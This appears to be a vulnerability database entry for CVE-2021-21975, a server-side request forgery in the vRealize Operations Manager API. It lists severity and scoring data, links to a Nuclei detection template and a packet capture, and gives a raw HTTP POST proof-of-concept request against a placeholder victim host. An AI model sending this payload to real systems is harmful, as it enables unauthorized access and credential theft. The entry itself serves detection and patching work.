| Title | vRealize Operations Manager API - Server-Side Request Forgery |
|---|---|
| Author | luci |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to send arbitrary requests from the vulnerable server, potentially leading to unauthorized access, data leakage, or further attacks. |
| Remediation | Apply the necessary security patches or updates provided by the vendor to mitigate this vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.94419 |
| CVE ID | CVE-2021-21975 |
| CWE ID | CWE-918 |
| Tags | cve2021 cve kev packetstorm ssrf vmware vrealize vkev vuln |
vRealize Operations Manager API is susceptible to server-side request forgery. A malicious actor with network access to the vRealize Operations Manager API can steal administrative credentials or trigger remote code execution using CVE-2021-21983.
POST /casa/nodes/thumbprints HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 21
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip
["127.0.0.1:443/ui/"]
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21975.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-21975.pcap
N/AN/A